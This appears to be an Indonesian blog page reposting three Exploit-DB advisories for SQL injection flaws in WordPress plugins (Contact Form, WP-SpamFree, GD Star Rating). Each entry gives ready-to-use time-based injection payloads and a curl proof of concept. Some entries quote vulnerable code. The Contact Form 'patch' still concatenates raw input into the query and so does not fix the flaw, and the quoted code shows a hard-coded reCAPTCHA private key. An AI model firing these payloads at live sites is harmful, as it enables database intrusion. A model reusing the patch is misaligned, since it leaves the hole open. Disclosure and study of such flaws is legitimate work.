Showing posts with label wordpress. Show all posts
Showing posts with label wordpress. Show all posts

Saturday, October 15, 2011

Celah SQL Injection Pada Plugin WordPress Contact Form <= 2.7.5

# Exploit Title: WordPress Contact Form plugin <= 2.7.5 SQL Injection Vulnerability
# Date: 2011-10-13
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.zip
# Version: 2.7.5 (tested)
 
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/contact-form-wordpress/easy-form.class.php
wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
e.g.
curl --data "wpcf_easyform_submitted=1&wpcf_easyform_test1=testing&wpcf_easyform_formid=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://127.0.0.1/wordpress/?p=1
  
---------------
Vulnerable code
---------------
Line 49:
    public function the_content($content) {
        global $wpdb;
        global $table_name;
        global $settings_table_name;
 
        $private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';
 
        if ($_POST['wpcf_easyform_submitted'] == 1) {
 
            $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);
 
---------------
Patch
---------------
 
*** ./easy-form.class.php.orig  2011-10-13 19:53:05.674800956 -0400
--- ./easy-form.class.php   2011-10-13 19:51:21.442799615 -0400
***************
*** 54,61 ****
          $private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';
           
          if ($_POST['wpcf_easyform_submitted'] == 1) {
!        
!             $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$_POST['wpcf_easyform_formid']);
               
              $continue = true;
               
--- 54,63 ----
          $private_key = '6LdKkr8SAAAAAN3d0B3M_EMh1qx4PeHtOre8loCy';
           
          if ($_POST['wpcf_easyform_submitted'] == 1) {
!               $wpcf_easyform_formid=$_POST['wpcf_easyform_formid'];
!             $wpcf_easyform_formid=substr($wpcf_easyform_formid,2);
!            
!   $form = $wpdb->get_results("SELECT * FROM $table_name WHERE ID = ".$wpcf_easyform_formid);
               
              $continue = true;
               
***************
*** 71,80 ****
              if ($continue) {
               
                  //loop through the fields of this form (read from DB) and build the message here
!                 $form_fields = $wpdb->get_results("
                    SELECT *
                    FROM $settings_table_name
!                   WHERE form_id = ".$_POST['wpcf_easyform_formid']."
                    ORDER BY position
                ");
                 
--- 73,82 ----
              if ($continue) {
               
                  //loop through the fields of this form (read from DB) and build the message here
!       $form_fields = $wpdb->get_results("
                    SELECT *
                    FROM $settings_table_name
!                   WHERE form_id = ".$wpcf_easyform_formid."
                    ORDER BY position
                ");

Sumber :http://www.exploit-db.com/exploits/17980/
Lanjut Baca....

Thursday, October 13, 2011

WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability

#Exploit Title:[ WordPress wpsf-js plugin, SQL Injection]
#Date: 2011-09-25
#Author: [cheki]
#Version:[3.2.1]
#Tested on:[linux]
#Used: ["sqlmap"]
#SQL Injection
http:///wp-content/plugins/wp-spamfree/js/wpsf-js.php?id=1
#Exploit:id=-1; WAITFOR DELAY '0:0:5';-- or id=-1 AND SLEEP(5)
#[http://:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][CURRENT_USER()
#http://:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][SELECT (CASE WHEN ((SELECT super_priv FROM
mysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
#http://:80/wp-content/plugins/wp-spamfree/js/wpsf-js.php][GET][id=-1][MID((VERSION()),1,6)
#Home page: http://hacking.ge/
Sumber :http://www.exploit-db.com/exploits/17970/
Lanjut Baca....

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off
 
---
PoC
---
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
 
---------------
Vulnerable code
---------------
./export.php
    require_once("./code/cls/export.php");
    ...
    if (isset($_GET["ex"])) {
        $export_type = $_GET["ex"];
        ...
        switch($export_type) {
            case "user":
                header('Content-type: text/csv');
                header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
                $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
                $rows = $wpdb->get_results($sql, ARRAY_N);
 
./code/cls/export.php
    class GDSRExport {
        ...
        function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
            ...
            $where = array();
            ...
            $where[] = "v.vote_type = '".$data_export."'";
            ...
            $j_where = join(" and ", $where);
            ...
            return sprintf("select %s from %s where %s order by u.id",
                    $j_select, $j_tables, $j_where);
Sumber :http://www.exploit-db.com/exploits/17973/
Lanjut Baca....